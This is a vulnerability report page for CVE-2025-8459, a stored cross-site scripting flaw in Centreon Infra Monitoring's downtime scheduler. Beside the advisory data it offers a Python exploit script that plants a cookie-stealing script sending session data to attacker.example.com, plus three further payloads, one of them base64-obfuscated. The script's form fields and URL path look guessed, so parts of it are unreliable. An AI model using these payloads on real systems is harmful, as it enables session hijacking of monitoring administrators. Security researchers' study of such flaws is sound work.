Security Vulnerability Report
中文
CVE-2025-8459 CVSS 7.7 HIGH

CVE-2025-8459

Published: 2025-10-14 18:15:37
Last Modified: 2025-10-22 14:09:30
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Monitoring recurrent downtime scheduler modules) allows Stored XSS.This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-8459 - Centreon Stored XSS PoC # Target: Centreon Infra Monitoring - Recurrent Downtime Scheduler Module # Author: Security Researcher # Description: Exploits improper input neutralization in downtime scheduler fields import requests from bs4 import BeautifulSoup # Configuration TARGET_URL = "https://target-centreon.example.com/centreon" USERNAME = "low_priv_user" PASSWORD = "password123" # Malicious JavaScript payload for session hijacking XSS_PAYLOAD = '<script>var i=new Image();i.src="https://attacker.example.com/steal?c="+document.cookie+"&u="+document.location;</script>' def exploit_stored_xss(): """ Exploit stored XSS in Centreon recurrent downtime scheduler. The payload is stored in the downtime description field and executed when an admin views the scheduler page. """ session = requests.Session() # Step 1: Authenticate to Centreon with low-privilege credentials login_url = f"{TARGET_URL}/api/latest/login" login_data = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } resp = session.post(login_url, json=login_data, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Navigate to recurrent downtime scheduler module scheduler_url = f"{TARGET_URL}/centreon/main.php?p=60101" resp = session.get(scheduler_url, verify=False) soup = BeautifulSoup(resp.text, 'html.parser') # Step 3: Extract CSRF token from the form token_field = soup.find('input', {'name': 'centreon_token'}) if token_field: csrf_token = token_field.get('value') print(f"[*] CSRF Token obtained: {csrf_token[:20]}...") # Step 4: Submit malicious payload via downtime scheduler form downtime_url = f"{TARGET_URL}/centreon/main.php?p=60101&o=a" form_data = { "centreon_token": csrf_token, "downtime_name": "Scheduled Maintenance", "downtime_description": XSS_PAYLOAD, # Injected malicious script "downtime_period": "1", "start_time": "00:00", "end_time": "23:59", "recurrence_type": "weekly", "host_services": "all", "submit": "Save" } resp = session.post(downtime_url, data=form_data, verify=False) print(f"[*] Payload submission response: {resp.status_code}") if resp.status_code in [200, 302]: print("[+] XSS payload successfully stored in downtime scheduler!") print("[+] When an admin views this scheduler entry, the script will execute.") print("[+] Stolen cookies/data will be sent to: https://attacker.example.com/steal") else: print("[-] Payload submission failed") if __name__ == "__main__": exploit_stored_xss() # Alternative simple payload for manual testing: # In the downtime description field, inject: # <script>alert('XSS-CVE-2025-8459')</script> # <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> # <svg onload=eval(atob('ZmV0Y2goImh0dHBzOi8vYXR0YWNrZXIuY29tLz9jPSIrZG9jdW1lbnQuY29va2llKQ=='))>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8459", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T18:15:37.490", "lastModified": "2025-10-22T14:09:29.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Monitoring recurrent downtime scheduler modules) allows Stored XSS.This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-8459-centreon-web-all-versions-high-severity-5117", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}